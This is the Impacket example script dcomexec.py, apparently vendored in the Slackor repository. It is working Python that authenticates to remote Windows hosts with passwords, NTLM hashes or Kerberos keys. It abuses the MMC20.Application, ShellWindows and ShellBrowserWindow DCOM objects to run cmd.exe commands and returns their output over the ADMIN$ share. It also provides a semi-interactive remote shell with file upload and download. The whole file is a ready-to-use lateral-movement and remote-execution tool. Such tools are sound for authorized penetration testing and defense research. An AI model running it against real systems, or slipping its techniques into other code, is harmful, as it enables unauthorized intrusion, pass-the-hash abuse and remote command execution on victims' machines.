github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/dcomexec.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # A similar approach to psexec but executing commands through DCOM.
     9  # You can select different objects to be used to execute the commands.
    10  # Currently supported objects are:
    11  #    1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2
    12  #    2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2
    13  #    3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2
    14  #
    15  # Drawback is it needs DCOM, hence, I have to be able to access
    16  # DCOM ports at the target machine.
    17  #
    18  # Original discovery by Matt Nelson (@enigma0x3):
    19  # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
    20  # https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
    21  #
    22  # Author:
    23  #  beto (@agsolino)
    24  #  Marcello (@byt3bl33d3r)
    25  #
    26  # Reference for:
    27  #  DCOM
    28  #
    29  # ToDo:
    30  # [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
    31  #     getInterface() method
    32  #
    33  from __future__ import division
    34  from __future__ import print_function
    35  import argparse
    36  import cmd
    37  import logging
    38  import ntpath
    39  import os
    40  import sys
    41  import time
    42  
    43  from six import PY3
    44  from impacket import version
    45  from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
    46      VARIANT, VARENUM, DISPATCH_METHOD
    47  from impacket.dcerpc.v5.dcomrt import DCOMConnection
    48  from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
    49      OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
    50      IRemUnknown2, INTERFACE
    51  from impacket.dcerpc.v5.dtypes import NULL
    52  from impacket.examples import logger
    53  from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
    54  
    55  OUTPUT_FILENAME = '__' + str(time.time())[:5]
    56  
    57  class DCOMEXEC:
    58      def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
    59                   noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None):
    60          self.__command = command
    61          self.__username = username
    62          self.__password = password
    63          self.__domain = domain
    64          self.__lmhash = ''
    65          self.__nthash = ''
    66          self.__aesKey = aesKey
    67          self.__share = share
    68          self.__noOutput = noOutput
    69          self.__doKerberos = doKerberos
    70          self.__kdcHost = kdcHost
    71          self.__dcomObject = dcomObject
    72          self.shell = None
    73          if hashes is not None:
    74              self.__lmhash, self.__nthash = hashes.split(':')
    75  
    76      def getInterface(self, interface, resp):
    77          # Now let's parse the answer and build an Interface instance
    78          objRefType = OBJREF(b''.join(resp))['flags']
    79          objRef = None
    80          if objRefType == FLAGS_OBJREF_CUSTOM:
    81              objRef = OBJREF_CUSTOM(b''.join(resp))
    82          elif objRefType == FLAGS_OBJREF_HANDLER:
    83              objRef = OBJREF_HANDLER(b''.join(resp))
    84          elif objRefType == FLAGS_OBJREF_STANDARD:
    85              objRef = OBJREF_STANDARD(b''.join(resp))
    86          elif objRefType == FLAGS_OBJREF_EXTENDED:
    87              objRef = OBJREF_EXTENDED(b''.join(resp))
    88          else:
    89              logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
    90  
    91          return IRemUnknown2(
    92              INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
    93                        oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
    94                        target=interface.get_target()))
    95  
    96      def run(self, addr):
    97          if self.__noOutput is False:
    98              smbConnection = SMBConnection(addr, addr)
    99              if self.__doKerberos is False:
   100                  smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
   101              else:
   102                  smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
   103                                              self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
   104  
   105              dialect = smbConnection.getDialect()
   106              if dialect == SMB_DIALECT:
   107                  logging.info("SMBv1 dialect used")
   108              elif dialect == SMB2_DIALECT_002:
   109                  logging.info("SMBv2.0 dialect used")
   110              elif dialect == SMB2_DIALECT_21:
   111                  logging.info("SMBv2.1 dialect used")
   112              else:
   113                  logging.info("SMBv3.0 dialect used")
   114          else:
   115              smbConnection = None
   116  
   117          dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
   118                                self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
   119          try:
   120              dispParams = DISPPARAMS(None, False)
   121              dispParams['rgvarg'] = NULL
   122              dispParams['rgdispidNamedArgs'] = NULL
   123              dispParams['cArgs'] = 0
   124              dispParams['cNamedArgs'] = 0
   125  
   126              if self.__dcomObject == 'ShellWindows':
   127                  # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
   128                  iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
   129                  iMMC = IDispatch(iInterface)
   130                  resp = iMMC.GetIDsOfNames(('Item',))
   131                  resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
   132                  iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
   133                  resp = iItem.GetIDsOfNames(('Document',))
   134                  resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
   135                  pQuit = None
   136              elif self.__dcomObject == 'ShellBrowserWindow':
   137                  # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
   138                  iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
   139                  iMMC = IDispatch(iInterface)
   140                  resp = iMMC.GetIDsOfNames(('Document',))
   141                  resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
   142                  pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
   143              elif self.__dcomObject == 'MMC20':
   144                  iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
   145                  iMMC = IDispatch(iInterface)
   146                  resp = iMMC.GetIDsOfNames(('Document',))
   147                  resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
   148                  pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
   149              else:
   150                  logging.fatal('Invalid object %s' % self.__dcomObject)
   151                  return
   152  
   153              iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
   154  
   155              if self.__dcomObject == 'MMC20':
   156                  resp = iDocument.GetIDsOfNames(('ActiveView',))
   157                  resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
   158  
   159                  iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
   160                  pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
   161                  self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
   162              else:
   163                  resp = iDocument.GetIDsOfNames(('Application',))
   164                  resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
   165  
   166                  iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
   167                  pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
   168                  self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
   169  
   170              if self.__command != ' ':
   171                  self.shell.onecmd(self.__command)[:5]
   172                  if self.shell is not None:
   173                      self.shell.do_exit('')
   174              else:
   175                  self.shell.cmdloop()
   176          except  (Exception, KeyboardInterrupt) as e:
   177              if logging.getLogger().level == logging.DEBUG:
   178                  import traceback
   179                  traceback.print_exc()
   180              if self.shell is not None:
   181                  self.shell.do_exit('')
   182              logging.error(str(e))
   183              if smbConnection is not None:
   184                  smbConnection.logoff()
   185              dcom.disconnect()
   186              sys.stdout.flush()
   187              sys.exit(1)
   188  
   189          if smbConnection is not None:
   190              smbConnection.logoff()
   191          dcom.disconnect()
   192  
   193  class RemoteShell(cmd.Cmd):
   194      def __init__(self, share, quit, executeShellCommand, smbConnection):
   195          cmd.Cmd.__init__(self)
   196          self._share = share
   197          self._output = '\\' + OUTPUT_FILENAME
   198          self.__outputBuffer = ''
   199          self._shell = 'cmd.exe'
   200          self.__quit = quit
   201          self._executeShellCommand = executeShellCommand
   202          self.__transferClient = smbConnection
   203          self._pwd = 'C:\\windows\\system32'
   204          self._noOutput = False
   205          self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
   206  
   207          # We don't wanna deal with timeouts from now on.
   208          if self.__transferClient is not None:
   209              self.__transferClient.setTimeout(100000)
   210              self.do_cd('\\')
   211          else:
   212              self._noOutput = True
   213  
   214      def do_shell(self, s):
   215          os.system(s)
   216  
   217      def do_help(self, line):
   218          print("""
   219   lcd {path}                 - changes the current local directory to {path}
   220   exit                       - terminates the server process (and this session)
   221   put {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
   222   get {file}                 - downloads pathname to the current local dir
   223   ! {cmd}                    - executes a local shell cmd
   224  """)
   225  
   226      def do_lcd(self, s):
   227          if s == '':
   228              print(os.getcwd())
   229          else:
   230              try:
   231                  os.chdir(s)
   232              except Exception as e:
   233                  logging.error(str(e))
   234  
   235      def do_get(self, src_path):
   236          try:
   237              import ntpath
   238              newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
   239              drive, tail = ntpath.splitdrive(newPath)
   240              filename = ntpath.basename(tail)
   241              fh = open(filename,'wb')
   242              logging.info("Downloading %s\\%s" % (drive, tail))
   243              self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
   244              fh.close()
   245          except Exception as e:
   246              logging.error(str(e))
   247              os.remove(filename)
   248              pass
   249  
   250      def do_put(self, s):
   251          try:
   252              params = s.split(' ')
   253              if len(params) > 1:
   254                  src_path = params[0]
   255                  dst_path = params[1]
   256              elif len(params) == 1:
   257                  src_path = params[0]
   258                  dst_path = ''
   259  
   260              src_file = os.path.basename(src_path)
   261              fh = open(src_path, 'rb')
   262              dst_path = dst_path.replace('/','\\')
   263              import ntpath
   264              pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)
   265              drive, tail = ntpath.splitdrive(pathname)
   266              logging.info("Uploading %s to %s" % (src_file, pathname))
   267              self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
   268              fh.close()
   269          except Exception as e:
   270              logging.critical(str(e))
   271              pass
   272  
   273      def do_exit(self, s):
   274          dispParams = DISPPARAMS(None, False)
   275          dispParams['rgvarg'] = NULL
   276          dispParams['rgdispidNamedArgs'] = NULL
   277          dispParams['cArgs'] = 0
   278          dispParams['cNamedArgs'] = 0
   279  
   280          self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
   281                                               0, [], [])
   282          return True
   283  
   284      def emptyline(self):
   285          return False
   286  
   287      def do_cd(self, s):
   288          self.execute_remote('cd ' + s)
   289          if len(self.__outputBuffer.strip('\r\n')) > 0:
   290              print(self.__outputBuffer)
   291              self.__outputBuffer = ''
   292          else:
   293              self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
   294              self.execute_remote('cd ')
   295              self._pwd = self.__outputBuffer.strip('\r\n')
   296              self.prompt = self._pwd + '>'
   297              self.__outputBuffer = ''
   298  
   299      def default(self, line):
   300          # Let's try to guess if the user is trying to change drive
   301          if len(line) == 2 and line[1] == ':':
   302              # Execute the command and see if the drive is valid
   303              self.execute_remote(line)
   304              if len(self.__outputBuffer.strip('\r\n')) > 0:
   305                  # Something went wrong
   306                  print(self.__outputBuffer)
   307                  self.__outputBuffer = ''
   308              else:
   309                  # Drive valid, now we should get the current path
   310                  self._pwd = line
   311                  self.execute_remote('cd ')
   312                  self._pwd = self.__outputBuffer.strip('\r\n')
   313                  self.prompt = self._pwd + '>'
   314                  self.__outputBuffer = ''
   315          else:
   316              if line != '':
   317                  self.send_data(line)
   318  
   319      def get_output(self):
   320          def output_callback(data):
   321              self.__outputBuffer += data.decode('utf-8')
   322  
   323          if self._noOutput is True:
   324              self.__outputBuffer = ''
   325              return
   326  
   327          while True:
   328              try:
   329                  self.__transferClient.getFile(self._share, self._output, output_callback)
   330                  break
   331              except Exception as e:
   332                  if str(e).find('STATUS_SHARING_VIOLATION') >=0:
   333                      # Output not finished, let's wait
   334                      time.sleep(1)
   335                      pass
   336                  elif str(e).find('Broken') >= 0:
   337                      # The SMB Connection might have timed out, let's try reconnecting
   338                      logging.debug('Connection broken, trying to recreate it')
   339                      self.__transferClient.reconnect()
   340                      return self.get_output()
   341          self.__transferClient.deleteFile(self._share, self._output)
   342  
   343      def execute_remote(self, data):
   344          command = '/Q /c ' + data
   345          if self._noOutput is False:
   346              command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
   347  
   348          logging.debug('Executing: %s' % command)
   349  
   350          dispParams = DISPPARAMS(None, False)
   351          dispParams['rgdispidNamedArgs'] = NULL
   352          dispParams['cArgs'] = 5
   353          dispParams['cNamedArgs'] = 0
   354          arg0 = VARIANT(None, False)
   355          arg0['clSize'] = 5
   356          arg0['vt'] = VARENUM.VT_BSTR
   357          arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
   358          arg0['_varUnion']['bstrVal']['asData'] = self._shell
   359  
   360          arg1 = VARIANT(None, False)
   361          arg1['clSize'] = 5
   362          arg1['vt'] = VARENUM.VT_BSTR
   363          arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
   364          if PY3:
   365              arg1['_varUnion']['bstrVal']['asData'] = command
   366          else:
   367              arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
   368  
   369          arg2 = VARIANT(None, False)
   370          arg2['clSize'] = 5
   371          arg2['vt'] = VARENUM.VT_BSTR
   372          arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
   373          arg2['_varUnion']['bstrVal']['asData'] = self._pwd
   374  
   375          arg3 = VARIANT(None, False)
   376          arg3['clSize'] = 5
   377          arg3['vt'] = VARENUM.VT_BSTR
   378          arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
   379          arg3['_varUnion']['bstrVal']['asData'] = ''
   380  
   381          arg4 = VARIANT(None, False)
   382          arg4['clSize'] = 5
   383          arg4['vt'] = VARENUM.VT_BSTR
   384          arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
   385          arg4['_varUnion']['bstrVal']['asData'] = '0'
   386          dispParams['rgvarg'].append(arg4)
   387          dispParams['rgvarg'].append(arg3)
   388          dispParams['rgvarg'].append(arg2)
   389          dispParams['rgvarg'].append(arg1)
   390          dispParams['rgvarg'].append(arg0)
   391  
   392          #print(dispParams.dump())
   393  
   394          self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
   395                                              0, [], [])
   396          self.get_output()
   397  
   398      def send_data(self, data):
   399          self.execute_remote(data)
   400          print(self.__outputBuffer)
   401          self.__outputBuffer = ''
   402  
   403  class RemoteShellMMC20(RemoteShell):
   404      def execute_remote(self, data):
   405          command = '/Q /c ' + data
   406          if self._noOutput is False:
   407              command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output  + ' 2>&1'
   408  
   409          dispParams = DISPPARAMS(None, False)
   410          dispParams['rgdispidNamedArgs'] = NULL
   411          dispParams['cArgs'] = 4
   412          dispParams['cNamedArgs'] = 0
   413          arg0 = VARIANT(None, False)
   414          arg0['clSize'] = 5
   415          arg0['vt'] = VARENUM.VT_BSTR
   416          arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
   417          arg0['_varUnion']['bstrVal']['asData'] = self._shell
   418  
   419          arg1 = VARIANT(None, False)
   420          arg1['clSize'] = 5
   421          arg1['vt'] = VARENUM.VT_BSTR
   422          arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
   423          arg1['_varUnion']['bstrVal']['asData'] = self._pwd
   424  
   425          arg2 = VARIANT(None, False)
   426          arg2['clSize'] = 5
   427          arg2['vt'] = VARENUM.VT_BSTR
   428          arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
   429          if PY3:
   430              arg2['_varUnion']['bstrVal']['asData'] = command
   431          else:
   432              arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)
   433  
   434          arg3 = VARIANT(None, False)
   435          arg3['clSize'] = 5
   436          arg3['vt'] = VARENUM.VT_BSTR
   437          arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
   438          arg3['_varUnion']['bstrVal']['asData'] = '7'
   439          dispParams['rgvarg'].append(arg3)
   440          dispParams['rgvarg'].append(arg2)
   441          dispParams['rgvarg'].append(arg1)
   442          dispParams['rgvarg'].append(arg0)
   443  
   444          self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
   445                                              0, [], [])
   446          self.get_output()
   447  
   448  class AuthFileSyntaxError(Exception):
   449  
   450      '''raised by load_smbclient_auth_file if it encounters a syntax error
   451      while loading the smbclient-style authentication file.'''
   452  
   453      def __init__(self, path, lineno, reason):
   454          self.path=path
   455          self.lineno=lineno
   456          self.reason=reason
   457  
   458      def __str__(self):
   459          return 'Syntax error in auth file %s line %d: %s' % (
   460              self.path, self.lineno, self.reason )
   461  
   462  def load_smbclient_auth_file(path):
   463  
   464      '''Load credentials from an smbclient-style authentication file (used by
   465      smbclient, mount.cifs and others).  returns (domain, username, password)
   466      or raises AuthFileSyntaxError or any I/O exceptions.'''
   467  
   468      lineno=0
   469      domain=None
   470      username=None
   471      password=None
   472      for line in open(path):
   473          lineno+=1
   474  
   475          line = line.strip()
   476  
   477          if line.startswith('#') or line=='':
   478              continue
   479  
   480          parts = line.split('=',1)
   481          if len(parts) != 2:
   482              raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
   483  
   484          (k,v) = (parts[0].strip(), parts[1].strip())
   485  
   486          if k=='username':
   487              username=v
   488          elif k=='password':
   489              password=v
   490          elif k=='domain':
   491              domain=v
   492          else:
   493              raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
   494  
   495      return (domain, username, password)
   496  
   497  # Process command-line arguments.
   498  if __name__ == '__main__':
   499      # Init the example's logger theme
   500      logger.init()
   501      print(version.BANNER)
   502  
   503      parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
   504                                                                      "ShellBrowserWindow DCOM object.")
   505      parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
   506      parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
   507                                                                             '(default ADMIN$)')
   508      parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
   509                                                                                  '(no SMB connection created)')
   510      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   511      parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
   512                          help='DCOM object to be used to execute the shell command (default=ShellWindows)')
   513  
   514      parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
   515                                                                    'launch a semi-interactive shell')
   516  
   517      group = parser.add_argument_group('authentication')
   518  
   519      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   520      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
   521      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
   522                         '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
   523                         'ones specified in the command line')
   524      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
   525                                                                              '(128 or 256 bits)')
   526      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   527                         'ommited it use the domain part (FQDN) specified in the target parameter')
   528      group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
   529                                                                          "See smbclient man page's -A option.")
   530  
   531      if len(sys.argv)==1:
   532          parser.print_help()
   533          sys.exit(1)
   534  
   535      options = parser.parse_args()
   536  
   537      if ' '.join(options.command) == ' ' and options.nooutput is True:
   538          logging.error("-nooutput switch and interactive shell not supported")
   539          sys.exit(1)
   540  
   541      if options.debug is True:
   542          logging.getLogger().setLevel(logging.DEBUG)
   543      else:
   544          logging.getLogger().setLevel(logging.INFO)
   545  
   546      import re
   547  
   548      domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
   549          options.target).groups('')
   550  
   551      #In case the password contains '@'
   552      if '@' in address:
   553          password = password + '@' + address.rpartition('@')[0]
   554          address = address.rpartition('@')[2]
   555  
   556      try:
   557          if options.A is not None:
   558              (domain, username, password) = load_smbclient_auth_file(options.A)
   559              logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
   560  
   561          if domain is None:
   562              domain = ''
   563  
   564          if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
   565              from getpass import getpass
   566              password = getpass("Password:")
   567  
   568          if options.aesKey is not None:
   569              options.k = True
   570  
   571          executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
   572                              options.share, options.nooutput, options.k, options.dc_ip, options.object)
   573          executer.run(address)
   574      except (Exception, KeyboardInterrupt) as e:
   575          if logging.getLogger().level == logging.DEBUG:
   576              import traceback
   577              traceback.print_exc()
   578          logging.error(str(e))
   579      sys.exit(0)